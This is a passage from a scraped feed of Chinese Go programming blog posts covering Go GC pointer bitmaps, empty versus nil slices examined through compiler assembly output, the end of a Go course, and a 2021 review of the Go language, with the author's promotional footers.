typ := reflect.TypeOf(t) rtyp, ok := typ.Elem().(*reflect.Rtype) if !ok { println(\u0026#34;error\u0026#34;) return } fmt.Printf(\u0026#34;%#v\\n\u0026#34;, *rtyp) r := (*rtype)(unsafe.Pointer(rtyp)) fmt.Printf(\u0026#34;%#v\\n\u0026#34;, *r) fmt.Printf(\u0026#34;%d\\n\u0026#34;, *(r.gcdata)) gcdata1 := (*byte)(unsafe.Pointer(uintptr(unsafe.Pointer(r.gcdata)) + 1)) fmt.Printf(\u0026#34;%d\\n\u0026#34;, *gcdata1) } 在这个例子中，我们定义了一个很大的结构体类型S，其size为88，用一个字节无法表示出其bitmap，于是Go使用了两个字节，我们输出这两个字节的bitmap：\n$go run demo6.go 88 reflect.rtype{size:0x58, ptrdata:0x58, hash:0xcdb468b2, tflag:0x7, align:0x8, fieldAlign:0x8, kind:0x19, equal:(func(unsafe.Pointer, unsafe.Pointer) bool)(0x108aea0), gcdata:(*uint8)(0x10c135b), str:3593, ptrToThis:19168} main.rtype{size:0x58, ptrdata:0x58, hash:0xcdb468b2, tflag:0x7, align:0x8, fieldAlign:0x8, kind:0x19, equal:(func(unsafe.Pointer, unsafe.Pointer) bool)(0x108aea0), gcdata:(*uint8)(0x10c135b), str:3593, ptrToThis:19168} 132 5 我们将结果转换成一幅示意图，如下图：\n理解上面这个结构体size以及各字段起始地址的前提是理解内存对齐，这个大家可以在我的博客内搜索以前撰写的有关内存对齐的相关内容，当然也可以参考我在专栏第17讲讲解结构体类型时对Go内存对齐的系统讲解。\n我爱发短信：企业级短信平台定制开发专家 https://tonybai.com/。smspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。2020年4月8日，中国三大电信运营商联合发布《5G消息白皮书》，51短信平台也会全新升级到“51商用消息平台”，全面支持5G RCS消息。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx 微信公众号：iamtonybai 博客：tonybai.com github: https://github.com/bigwhite “Gopher部落”知识星球：https://public.zsxq.com/groups/51284458844544 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2022/02/21/how-gc-detect-pointer-in-mem-obj/","summary":"\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/images/wp-content/uploads/how-gc-detect-pointer-in-mem-obj-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2022/02/21/how-gc-detect-pointer-in-mem-obj\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2022/02/21/how-gc-detect-pointer-in-mem-obj\"\u003ehttps://tonybai.com/2022/02/21/how-gc-detect-pointer-in-mem-obj\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e众所周知，Go是带垃圾回收(GC)的编程语言，开发者通常不需要考虑对内存的管理，降低了心智负担。Go程序运行的时候，GC在背后默默辛劳地为开发者**“擦屁股”**：把无法reach到的内存对象定期地释放掉以备后续重用。\u003c/p\u003e","title":"Go GC如何检测内存对象中是否包含指针"},{"content":"\n本文永久链接 – https://tonybai.com/2022/02/17/go-first-course-close\n就在家家户户刚刚过完虎年元宵佳节之际，我的Go语言专栏：《Tony Bai·Go语言第一课》也迎来了它的最后一讲结术语。\n这门专栏的撰写开始于2021年5月中旬，翻看我用于管理专栏原始文稿的github仓库的commit log记录，这一有纪念价值的日子被精确定位在5月16日：\n从那时开始，我便进入了专栏的节奏。从2021年5月到2022年2月，9个月的时间洋洋洒洒写下了20多万字(估计值)，写作过程的艰辛只有写过极客时间专栏的作者们才会知道。每天睡眠4-5个小时是我的常态。这也算是对我个人极限的一种挑战了:)。\n专栏于2021年10月13日正式上线！上线后，当我看到有那么订阅学习专栏、认真完成课后思考题以及在留言区留言的童鞋，我顿感之前的努力与付出都没有白费。\n写结束语之前，我认真回顾了一下这门课的内容，当初设定的目标，包括覆盖了绝大多数Go语言的语法点等都基本实现。此外，从大家的留言反馈情况来看，彻底抛弃GOPATH，并将对Go module构建模式、Go项目布局的讲解前置到入门篇中是无比正确的决定。另外专栏对一些语法概念，比如切片、字符串、map、接口类型等进行了超出入门范畴的原理性地讲解也得到了来自学员的肯定，这也算是这个入门课的吸睛之处。\n不过课程依然存在遗憾，其中最令我感到不安的是对指针这个概念的讲解的缺失。在规划课程之初，我没有意识到很多来自动态语言的童鞋完全没有对指针这个概念的认知，我的这个疏忽导致给一些学员的后续学习带去了困惑。为了弥补这个遗憾，我会在后面以加餐的形式补充对Go指针基础的讲解。\n2022年3月份，Go 1.18版本将携着泛型语法正式发布。对于定位为“Go语言第一课”的本专栏来说，不能缺少对泛型语法的系统讲解，并且Go泛型很可能是Go语法特性的最后一次较大更新了。虽然通过加餐聊过泛型，但那些还是较为粗线条的，我将在后续补充泛型篇，系统全面介绍Go泛型语法的细节，专栏也要做到“与时俱进”！\nGo语言第一课专栏上线以来得到了广大童鞋的点赞，这让我尤其开心。有些童鞋在结束语的留言中还期望我能后续能再出进阶或深度Go专栏：\n这真的让我受宠若惊！不过，是否能出其他极客专栏，暂时还无法给大家承诺，还需要给我时间复复盘、充充电，再策划策划^_^。\n撰写结束语时，恰逢著名编程语言排名指数TIOBE发布2022年2月编程语言排名情况，如下图：\n在这期排名中，Go上升到第11位，相较于2021年年底各大编程语言的最终排名以及2021年2月份的同比排名都上升了2位。Go语言位次的提升在我的预料之中。TIOBE在1月份发布的2021年年终编程语言排行榜配文中也认为：除了Swift和Go之外，尚不会有新的编程语言能迅速进入前3名甚至前5名，这也在一定程度上证明了对Go发展趋势的看好。\n在本专栏的第一讲“前世今生：你不得不了解的Go的历史和现状”一文中，我曾提到过：绝大多数主流编程语言将在其诞生后的第15至第20年间大步前进。按照这个编程语言的一般规律，已经迈过开源第12个年头的Go很可能将进入自己的黄金5-10年。而2022年很大可能会成为Go语言黄金5-10年的起点，并且其标志只能是Go泛型语法的落地。\n按照Go语言的调性，在语法层面上，Go在加入泛型后很难再有大的改变了，错误处理是最后一个硬骨头，也许在泛型引入后，Go核心团队能有新的解决思路。剩下的就是对Go编译器、运行时层、标准库以及工具链的不断的打磨与优化了。到时候，我们就坐收这些优化所带来的红利即可。\n学习Go语言10+年的我，很庆幸也很骄傲当初做出了正确的选择。在Go即将迎来黄金十年的历史时刻，希望各位Gopher都能在Go语言之路上走的更远并兑现个人价值。\n《Go语言第一课》的结束不是Go语言学习的终点，而是深入和实践Go的起点！\n我爱发短信：企业级短信平台定制开发专家 https://tonybai.com/。smspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。2020年4月8日，中国三大电信运营商联合发布《5G消息白皮书》，51短信平台也会全新升级到“51商用消息平台”，全面支持5G RCS消息。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx 微信公众号：iamtonybai 博客：tonybai.com github: https://github.com/bigwhite “Gopher部落”知识星球：https://public.zsxq.com/groups/51284458844544 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2022/02/17/go-first-course-close/","summary":"\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/images/wp-content/uploads/go-first-course-close-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2022/02/17/go-first-course-close\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2022/02/17/go-first-course-close\"\u003ehttps://tonybai.com/2022/02/17/go-first-course-close\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e就在家家户户刚刚过完虎年元宵佳节之际，我的Go语言专栏：\u003ca href=\"http://gk.link/a/10AVZ\"\u003e《Tony Bai·Go语言第一课》\u003c/a\u003e也迎来了它的最后一讲\u003ca href=\"https://time.geekbang.org/column/article/486536\"\u003e\u003cstrong\u003e结术语\u003c/strong\u003e\u003c/a\u003e。\u003c/p\u003e\n\u003cp\u003e这门专栏的撰写开始于2021年5月中旬，翻看我用于管理专栏原始文稿的github仓库的commit log记录，这一有纪念价值的日子被精确定位在5月16日：\u003c/p\u003e","title":"“Go语言第一课”结课了"},{"content":"\n本文永久链接 – https://tonybai.com/2022/02/15/whether-go-allocate-underlying-array-for-empty-slice\n这周在“Go语言第一课”的留言区看到一位同学的这样一个问题：\n切片是Go语言中的一个重要的语法元素，也是日常Go开发中使用最为频繁的语法元素。有过Go语言开发经验的童鞋估计大多都知道空切片(empty slice)与nil切片(nil slice)比较的梗，这也是Go面试中的一道高频题。\nvar sl1 = []int{} // sl1是空切片 var sl2 []int // sl2是nil切片 要真正理解切片，离不开运行时的切片表示。在我的专栏和《Go语言精进之路》一书中都有对切片在运行时表示的细致讲解。\n切片在运行时由三个字段构成，reflect包中有切片在类型系统中表示的对应的定义：\n// $GOROOT/src/reflect/value.go type SliceHeader struct { Data uintptr Len int Cap int } 基于这个定义我们来理解空切片和nil切片就容易多了。我们用一段代码来看看这两种切片的差别：\n// dumpslice.go package main import ( \u0026#34;fmt\u0026#34; \u0026#34;reflect\u0026#34; \u0026#34;unsafe\u0026#34; ) func main() { var sl1 = []int{} ph1 := (*reflect.SliceHeader)(unsafe.Pointer(\u0026amp;sl1)) fmt.Printf(\u0026#34;empty slice\u0026#39;s header is %#v\\n\u0026#34;, *ph1) var sl2 []int ph2 := (*reflect.SliceHeader)(unsafe.Pointer(\u0026amp;sl2)) fmt.Printf(\u0026#34;nil slice\u0026#39;s header is %#v\\n\u0026#34;, *ph2) } 在这段代码中，我们通过unsafe包以及reflect.SliceHeader输出了空切片与nil切片在内存中的表示，即SliceHeader各个字段的值。我们在Go 1.18beta2下运行一下上述代码(使用-gcflags ‘-l -N’可关闭Go编译器的优化)：\n$go run -gcflags \u0026#39;-l -N\u0026#39; dumpslice.go empty slice\u0026#39;s header is reflect.SliceHeader{Data:0xc000092eb0, Len:0, Cap:0} nil slice\u0026#39;s header is reflect.SliceHeader{Data:0x0, Len:0, Cap:0} 通过输出结果，我们看到nil切片在运行时表示的三个字段值都是0；而空切片的len、cap值为0，但data值不为零。\n好了，此时我们再回到本文开始处那个童鞋提出的那个问题：空切片到底分没分配底层数组？\n答案是肯定的：没有分配！那么上述代码中空切片在运行时表示中第一个字段data的值0xc000092eb0从何而来，难道不是底层数组的地址么？\n要想回答这个问题，我们需要下沉到汇编层面去看。\nGo使用plan9的汇编语法，目前市面上关于这种汇编的资料比较少，比较权威是Go官方的asm资料和Rob Pike编写的A Manual for the Plan 9 assembler。此外IBM工程师的 Dropping down Go functions in assembly language这份资料也十分不错。国内《Go语言高级编程》一书以及曹春辉的plan9 assembly 完全解析讲解的十分全面，值得大家参考。\n我们以下面这段最简单的有关空切片的代码为例：\n// layout6.go 1 package main 2 3 func main() { 4 var sl = []int{} 5 _ = sl 6 } 生成go源码对应汇编代码的主要方法有：go tool compile -S xxx.go和针对编译后的二进制文件使用go tool objdump -S exe_file。\n我们看看这段代码对应的汇编代码，我们使用下面命令将上述go源码转换为汇编代码(Go 1.18beta2 on darwin amd64)：\n$go tool compile -S -N -l layout6.go \u0026gt; layout6.s // -N -l两个命令行选项用于关闭Go编译器的优化，优化后的代码会掩盖实现细节 (在MacOS上)生成的layout6.s汇编代码如下（汇编代码中的FUNCDATA和PCDATA是Go编译器插入的、给GC使用的指示符，这里将其滤掉了）：\n\u0026#34;\u0026#34;.main STEXT nosplit size=48 args=0x0 locals=0x30 funcid=0x0 align=0x0 0x0000 00000 (layout6.go:3) TEXT \u0026#34;\u0026#34;.main(SB), NOSPLIT|ABIInternal, $48-0 // 48是main函数的栈帧大小，0表示参数大小 0x0000 00000 (layout6.go:3) SUBQ $48, SP 0x0004 00004 (layout6.go:3) MOVQ BP, 40(SP) 0x0009 00009 (layout6.go:3) LEAQ 40(SP), BP 0x000e 00014 (layout6.go:4) LEAQ \u0026#34;\u0026#34;..autotmp_2(SP), AX 0x0012 00018 (layout6.go:4) MOVQ AX, \u0026#34;\u0026#34;..autotmp_1+8(SP) 0x0017 00023 (layout6.go:4) TESTB AL, (AX) 0x0019 00025 (layout6.go:4) JMP 27 0x001b 00027 (layout6.go:4) MOVQ AX, \u0026#34;\u0026#34;.sl+16(SP) 0x0020 00032 (layout6.go:4) MOVUPS X15, \u0026#34;\u0026#34;.sl+24(SP) 0x0026 00038 (layout6.go:6) MOVQ 40(SP), BP 0x002b 00043 (layout6.go:6) ADDQ $48, SP 0x002f 00047 (layout6.go:6) RET 0x0000 48 83 ec 30 48 89 6c 24 28 48 8d 6c 24 28 48 8d H..0H.l$(H.l$(H. 0x0010 04 24 48 89 44 24 08 84 00 eb 00 48 89 44 24 10 .$H.D$.....H.D$. 0x0020 44 0f 11 7c 24 18 48 8b 6c 24 28 48 83 c4 30 c3 D..|$.H.l$(H..0. go.cuinfo.packagename. SDWARFCUINFO dupok size=0 0x0000 6d 61 69 6e main \u0026#34;\u0026#34;..inittask SNOPTRDATA size=24 0x0000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0x0010 00 00 00 00 00 00 00 00 ........ gclocals·33cdeccccebe80329f1fdbee7f5874cb SRODATA dupok size=8 0x0000 01 00 00 00 00 00 00 00 ........ gclocals·ff19ed39bdde8a01a800918ac3ef0ec7 SRODATA dupok size=9 0x0000 01 00 00 00 04 00 00 00 00 ......... 关于汇编语法的问题，大家可以参考前面提供的参考资料，这里不赘述。我们这里最关注的是对应Go源码第4行Go代码的汇编源码，这里我把这段汇编源码单独提出来放在下面：\n0x000e 00014 (layout6.go:4) LEAQ \u0026#34;\u0026#34;..autotmp_2(SP), AX 0x0012 00018 (layout6.go:4) MOVQ AX, \u0026#34;\u0026#34;..autotmp_1+8(SP) 0x0017 00023 (layout6.go:4) TESTB AL, (AX) 0x0019 00025 (layout6.go:4) JMP 27 0x001b 00027 (layout6.go:4) MOVQ AX, \u0026#34;\u0026#34;.sl+16(SP) 0x0020 00032 (layout6.go:4) MOVUPS X15, \u0026#34;\u0026#34;.sl+24(SP) 我们逐行看一下：\n00014行：将SP寄存器指向的内存单元(该内存单元被命名为autotmp_2)的地址存入AX寄存器中； 00019行：将AX寄存器中存储的值写入地址为SP+8的内存单元中，这个内存单元被命名为autotmp_1； 00023行：将AL寄存器中的值与AX寄存器指向的内存单元的值做逻辑与操作，设置相关标志位； 00025行：无条件跳转至00027行执行； 00027行：将AX寄存器中存储的值写入sl切片变量运行时表示的第一个字段data中，该字段的地址为SP+16； 00032行：使用intel平台上的SIMD指令集SSE的MOVUPS指令通过X15代表的固定的零寄存器对起始地址为SP+24的连续128bit(16个字节）进行清零。即sl切片变量运行时的len和cap字段被清零。 关于X15寄存器的含义，在Go internal ABI specification中有说明。\n我这里用一幅图展示一下上面操作后的main函数栈情况：\n我们看到切片sl的指向底层数组的指针data的值实际上是一个栈上的内存单元的地址，Go编译器并没有在堆上额外分配新的内存空间作为切片sl的底层数组。只是上面汇编代码的第00019行、00023行的操作让人很迷，不知道这两部指令操作的意图为何。\n我们再来看一个例子，以进一步证实我们上面的结论。这个例子的源码如下：\n// layout7.go 1 package main 2 3 func main() { 4 var sl = []int{} 5 sl = append(sl, 1) 6 } 在这个例子中，我们先是声明了一个空切片sl，之后又通过append为sl追加了一个元素。append时，由于sl为空切片，Go势必会为sl新分配底层存储数组，我们通过对比一下第4行和第5行两个操作的异同来确认“空切片并未分配底层数组”的结论。我们同样通过go tool compile -S命令得到该源码对应的汇编代码：\n$go tool compile -S -N -l layout7.go \u0026gt; layout7.s layout7.s中main函数的汇编代码如下(过滤掉了PCDATA和FUNCDATA指示符行)：\n\u0026#34;\u0026#34;.main STEXT size=114 args=0x0 locals=0x70 funcid=0x0 align=0x0 0x0000 00000 (layout7.go:3) TEXT \u0026#34;\u0026#34;.main(SB), ABIInternal, $112-0 0x0000 00000 (layout7.go:3) CMPQ SP, 16(R14) 0x0004 00004 (layout7.go:3) JLS 107 0x0006 00006 (layout7.go:3) SUBQ $112, SP 0x000a 00010 (layout7.go:3) MOVQ BP, 104(SP) 0x000f 00015 (layout7.go:3) LEAQ 104(SP), BP 0x0014 00020 (layout7.go:4) LEAQ \u0026#34;\u0026#34;..autotmp_2+64(SP), BX 0x0019 00025 (layout7.go:4) MOVQ BX, \u0026#34;\u0026#34;..autotmp_1+72(SP) 0x001e 00030 (layout7.go:4) TESTB AL, (BX) 0x0020 00032 (layout7.go:4) JMP 34 0x0022 00034 (layout7.go:4) MOVQ BX, \u0026#34;\u0026#34;.sl+80(SP) 0x0027 00039 (layout7.go:4) MOVUPS X15, \u0026#34;\u0026#34;.sl+88(SP) 0x002d 00045 (layout7.go:5) JMP 47 0x002f 00047 (layout7.go:5) LEAQ type.int(SB), AX 0x0036 00054 (layout7.go:5) XORL CX, CX 0x0038 00056 (layout7.go:5) MOVQ CX, DI 0x003b 00059 (layout7.go:5) MOVL $1, SI 0x0040 00064 (layout7.go:5) CALL runtime.growslice(SB) 0x0045 00069 (layout7.go:5) LEAQ 1(BX), DX 0x0049 00073 (layout7.go:5) JMP 75 0x004b 00075 (layout7.go:5) MOVQ $1, (AX) 0x0052 00082 (layout7.go:5) MOVQ AX, \u0026#34;\u0026#34;.sl+80(SP) 0x0057 00087 (layout7.go:5) MOVQ DX, \u0026#34;\u0026#34;.sl+88(SP) 0x005c 00092 (layout7.go:5) MOVQ CX, \u0026#34;\u0026#34;.sl+96(SP) 0x0061 00097 (layout7.go:6) MOVQ 104(SP), BP 0x0066 00102 (layout7.go:6) ADDQ $112, SP 0x006a 00106 (layout7.go:6) RET 0x006b 00107 (layout7.go:6) NOP 0x006b 00107 (layout7.go:3) CALL runtime.morestack_noctxt(SB) 0x0070 00112 (layout7.go:3) JMP 0 ... ... 有了对layout6.s的汇编的分析的基础，再来看这段汇编似乎就好很多了。首先layout7.s中对应var sl = []int{}代码的第00020到00039的原理与layout6.s一致。sl的data字段被赋值为一个栈上内存单元(SP+64)的地址。\n从第00047到00073实际上是为调用runtime.growslice函数做准备以及调用runtime.growslice函数。runtime.growslice函数负责在堆上分配新的底层数组用于存储切片sl的元素。runtime.growslice返回后，我们看到，第00075行，Go将一个立即数1写入AX寄存器指向的内存单元，即growslice新分配的底层数组的第一个元素的内存单元。\n之后，sl的三个字段被重新做了赋值：\n0x0052 00082 (layout7.go:5) MOVQ AX, \u0026#34;\u0026#34;.sl+80(SP) 0x0057 00087 (layout7.go:5) MOVQ DX, \u0026#34;\u0026#34;.sl+88(SP) 0x005c 00092 (layout7.go:5) MOVQ CX, \u0026#34;\u0026#34;.sl+96(SP) 我们看到：00082行，sl的data字段(SP+80)被赋值为AX寄存器中的值，即堆上分配新的底层数组的地址。而后的len和cap字段也分配用DX和CX寄存器的值做了赋值，这两个寄存器分配存储了切片的len和cap。\n我这里同样用一幅示意图展示append后main函数栈的情况：\n通过这个例子，我们可以看到，如果Go在堆上为切片分配底层数组，我们会在汇编代码中看到growslice或newobject这样的调用。\n如果一个非空切片没有逃逸到堆上，那么Go也可能在栈上为该切片分配底层数组空间，比如下面这段代码：\n// layout10.go package main func main() { var sl = []int{11, 12, 13} _ = sl } 它对应的汇编如下：\n\u0026#34;\u0026#34;.main STEXT nosplit size=103 args=0x0 locals=0x40 funcid=0x0 align=0x0 0x0000 00000 (layout10.go:3) TEXT \u0026#34;\u0026#34;.main(SB), NOSPLIT|ABIInternal, $64-0 0x0000 00000 (layout10.go:3) SUBQ $64, SP 0x0004 00004 (layout10.go:3) MOVQ BP, 56(SP) 0x0009 00009 (layout10.go:3) LEAQ 56(SP), BP 0x000e 00014 (layout10.go:4) MOVUPS X15, \u0026#34;\u0026#34;..autotmp_2(SP) 0x0013 00019 (layout10.go:4) MOVUPS X15, \u0026#34;\u0026#34;..autotmp_2+8(SP) 0x0019 00025 (layout10.go:4) LEAQ \u0026#34;\u0026#34;..autotmp_2(SP), AX 0x001d 00029 (layout10.go:4) MOVQ AX, \u0026#34;\u0026#34;..autotmp_1+24(SP) 0x0022 00034 (layout10.go:4) TESTB AL, (AX) 0x0024 00036 (layout10.go:4) MOVQ $11, \u0026#34;\u0026#34;..autotmp_2(SP) 0x002c 00044 (layout10.go:4) TESTB AL, (AX) 0x002e 00046 (layout10.go:4) MOVQ $12, \u0026#34;\u0026#34;..autotmp_2+8(SP) 0x0037 00055 (layout10.go:4) TESTB AL, (AX) 0x0039 00057 (layout10.go:4) MOVQ $13, \u0026#34;\u0026#34;..autotmp_2+16(SP) 0x0042 00066 (layout10.go:4) TESTB AL, (AX) 0x0044 00068 (layout10.go:4) JMP 70 0x0046 00070 (layout10.go:4) MOVQ AX, \u0026#34;\u0026#34;.sl+32(SP) 0x004b 00075 (layout10.go:4) MOVQ $3, \u0026#34;\u0026#34;.sl+40(SP) 0x0054 00084 (layout10.go:4) MOVQ $3, \u0026#34;\u0026#34;.sl+48(SP) 0x005d 00093 (layout10.go:6) MOVQ 56(SP), BP 0x0062 00098 (layout10.go:6) ADDQ $64, SP 0x0066 00102 (layout10.go:6) RET 这段汇编代码就留给大家自己阅读分析吧。\n“Gopher部落”知识星球正式转正（从试运营星球变成了正式星球）！“gopher部落”旨在打造一个精品Go学习和进阶社群！高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需求！部落目前虽小，但持续力很强，欢迎大家加入！\n我爱发短信：企业级短信平台定制开发专家 https://tonybai.com/。smspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。2020年4月8日，中国三大电信运营商联合发布《5G消息白皮书》，51短信平台也会全新升级到“51商用消息平台”，全面支持5G RCS消息。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx 微信公众号：iamtonybai 博客：tonybai.com github: https://github.com/bigwhite “Gopher部落”知识星球：https://public.zsxq.com/groups/51284458844544 微信赞赏：\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2022/02/15/whether-go-allocate-underlying-array-for-empty-slice/","summary":"\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/images/wp-content/uploads/whether-go-allocate-underlying-array-for-empty-slice-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2022/02/15/whether-go-allocate-underlying-array-for-empty-slice\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2022/02/15/whether-go-allocate-underlying-array-for-empty-slice\"\u003ehttps://tonybai.com/2022/02/15/whether-go-allocate-underlying-array-for-empty-slice\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e这周在\u003ca href=\"http://gk.link/a/10AVZ\"\u003e“Go语言第一课”\u003c/a\u003e的留言区看到一位同学的这样一个问题：\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/images/wp-content/uploads/whether-go-allocate-underlying-array-for-empty-slice-2.png\"\u003e\u003c/p\u003e\n\u003cp\u003e切片是Go语言中的一个重要的语法元素，也是日常Go开发中使用最为频繁的语法元素。有过Go语言开发经验的童鞋估计大多都知道空切片(empty slice)与nil切片(nil slice)比较的梗，这也是Go面试中的一道高频题。\u003c/p\u003e","title":"Go究竟是否为空切片分配了底层数组"},{"content":"\n本文永久链接 – https://tonybai.com/2022/01/16/the-2021-review-of-go-programming-language\n由于日常忙工作，闲时忙专栏，我早已策划的2021年Go语言盘点这篇文章一直拖到了2022年元旦之后才开始落笔。\n2021年，Go迈过了其开源的第12个年头。虽然已经演进了10余年，但在编程语言这个领域中，Go依旧属于“小字辈”，仍处于快速的成长演化期。\n纵观整个2021年，如果要用一句话来形容Go语言的发展，那就是厉兵秣马，蓄势待发。“厉兵秣马”这个成语的意思是把兵器磨快，把战马喂饱，形容做好战备，也比喻事前做好准备工作。那么2021年的Go究竟在为什么做准备呢？毫无疑问，它就是2022年泛型语法特性的落地。泛型既是Go社区最关注的语法特性，也是Go在语言特性方面的又一个“杀手锏”。\n在“Go语言第一课”专栏的第一讲“前世今生：你不得不了解的Go的历史和现状”一文中，我曾提到过：绝大多数主流编程语言将在其诞生后的第15至第20年间大步前进。按照这个编程语言的一般规律，已经迈过开源第12个年头的Go很可能将进入自己的黄金5-10年。而2022年很大可能会成为Go语言黄金5-10年的起点，并且其标志只能是Go泛型语法的落地。\n当然，Go核心团队以及Go社区所做的工作远不止打磨、优化和实现Go泛型语法这么简单，2021也是Go在其他方面成果丰硕的一年。下面我们就来盘点一下整个2021年Go语言的演化情况和当前状态，最后再对Go的2022年做个简单的展望。\n我们先来看看2021年围绕Go语言项目以及Go社区都发生了哪些大事件(按时间先后顺序)！\n一. 2021年Go大事件回顾 Go 1.16版本发布 按照一年发布两次大版本的节奏，Go核心团队于2021年2月18日发布了Go 1.16版本。该版本拥有一个重要的意义，那就是Go module构建模式成为了默认构建模式，这也意味着Go module构建模式的引入成功。与此同时，这一版本还支持了苹果的M1芯片（通过darwin/arm64环境变量组合）；新增io/fs包，建立Go原生文件系统抽象；新增embed包，作为在二进制文件中嵌入静态资源文件的官方方案；进一步对Go链接器进行现代化改造，新版链接器的性能相比于Go 1.15版本有20%-25%的提升，资源占用则下降5%-15%。编译出的二进制文件大小下降10%以上。\n2020年Go用户调查结果发布 2021年3月初，Go官网发布了2020年Go用户调查结果。此次调查共收到近1w份有效调查反馈，报告的亮点如下：\nGo在工作场所和企业中的使用范围不断扩大，76%的受访者在工作中使用Go，66%的人说Go对他们公司的成功至关重要。 总体满意度很高，92%的受访者对使用Go感到满意。 大多数受访者在不到3个月的时间里感觉到了Go的生产力，81%的受访者感觉Go的生产力非常高。 受访者表示会及时升级到最新的Go版本，76%的受访者在头5个月就升级了。 Go module得到了普遍的接纳与采用，满意度达到77%，但受访者也强调了对文档改进的需求。 Go继续被大量用于API、CLI、Web、DevOps和数据处理。 Go 1.17版本发布 2021年8月16日，Go 1.17版本在经过两个RC版本之后正式发布！Go 1.17版本并没有过多受到Go 1.18版本这个“网红”的影响，Go 1.17默默地加入和优化了着实不少的特性。其中最主要的三个变化是：\n支持从切片到数组指针转换的语法特性 Go module使用pruned module graph Go 1.17不再使用“完整module依赖图”，而是引入了pruned module graph（修剪的module依赖图）。修剪的module依赖图就是在完整module依赖图的基础上将那些“占着茅坑不拉屎”、对构建完全没有“贡献”的间接依赖module修剪后的依赖图。使用修剪后的module依赖图进行构建将有助于避免下载或阅读那些不必要的go.mod文件，这样Go命令可以不去获取那些不相关的依赖关系，从而在日常开发中节省时间。\n在amd64架构实现了从基于堆栈的调用惯例到基于寄存器的调用惯例切换 切换到基于寄存器的调用惯例后，一组有代表性的Go包和程序的基准测试显示，Go程序的运行性能提高了约5%，二进制文件大小典型减少约2%。也就是说你的Go源码使用Go 1.17版本重新编译一下就能获得大约5%的性能提升。\nGo开源12岁生日 2009年11月10日，Go语言正式对外发布并开源。2021年11月，距那一历史时刻已经过去12年了。Go核心团队技术负责人Russ Cox在Go官博撰文庆祝Go开源12周年。他简单回顾了这一年来Go核心团队与Go社区为Go的发展做出的卓越贡献，展望了在接下来的Go开源的第13个年头中，Go核心团队的工作重点，包括Go module的持续演进、Go泛型的落地、软件材料清单、Go漏洞数据库等。\nGo官网切换 在2021年11月末，Go核心团队正式将Go语言官网从golang.org切换到go.dev。Go团队对官网体验的改善工作已经进行了很长时间了，从2019年go.dev被启用，到将godoc.org切换到pkg.go.dev，再到其他原官网功能逐一切换到go.dev上，Go核心团队在一点点的引导Gopher去使用和适应go.dev这个站点。\n为了Go社区建设与Go官网改进，Go团队雇佣专人进行对应。Go核心开发团队专职人员的数量逐年增多。根据Go核心团队工程总监SAMEER AJMANI在之前Go Time的AMA环节中透露的信息，当前Go核心团队的规模已经达到了50余人：\n不得不感慨一下：有一个有钱的爹是真好啊!\nGopherCon 2021和Go 1.18Beta1发布 由于新冠疫情的影响，这两年的GopherCon大会都以网络直播的形式进行。今年的大会改在了12月初。GopherCon大会向来是既是Go社区的风向标，也是Go核心团队与Go社区互动的一个重要平台。在这次大会上，Go核心团队的两位重量级人物Robert Griesemer和Ian Lance Taylor亲自站台为大家讲解即将到来的Go泛型的相关内容与使用建议。\n在GopherCon 2021大会余温未尽的时候，Go核心团队在美国时间12月14日宣布Go 1.18 Beta1发布。Go 1.18 Beta 1是第一个公测版，其主要功能变动包括Go泛型(类型参数)、Go工作区模式、支持Fuzzing test等。\nGo团队这次少见的通过官博来发布一个beta版本，足以证明Go团队对Go 1.18版本的重视，毕竟Go 1.18是Go自诞生以来最大的一次语法变动，Go团队希望Go社区的gopher们广泛参与公测，在Go 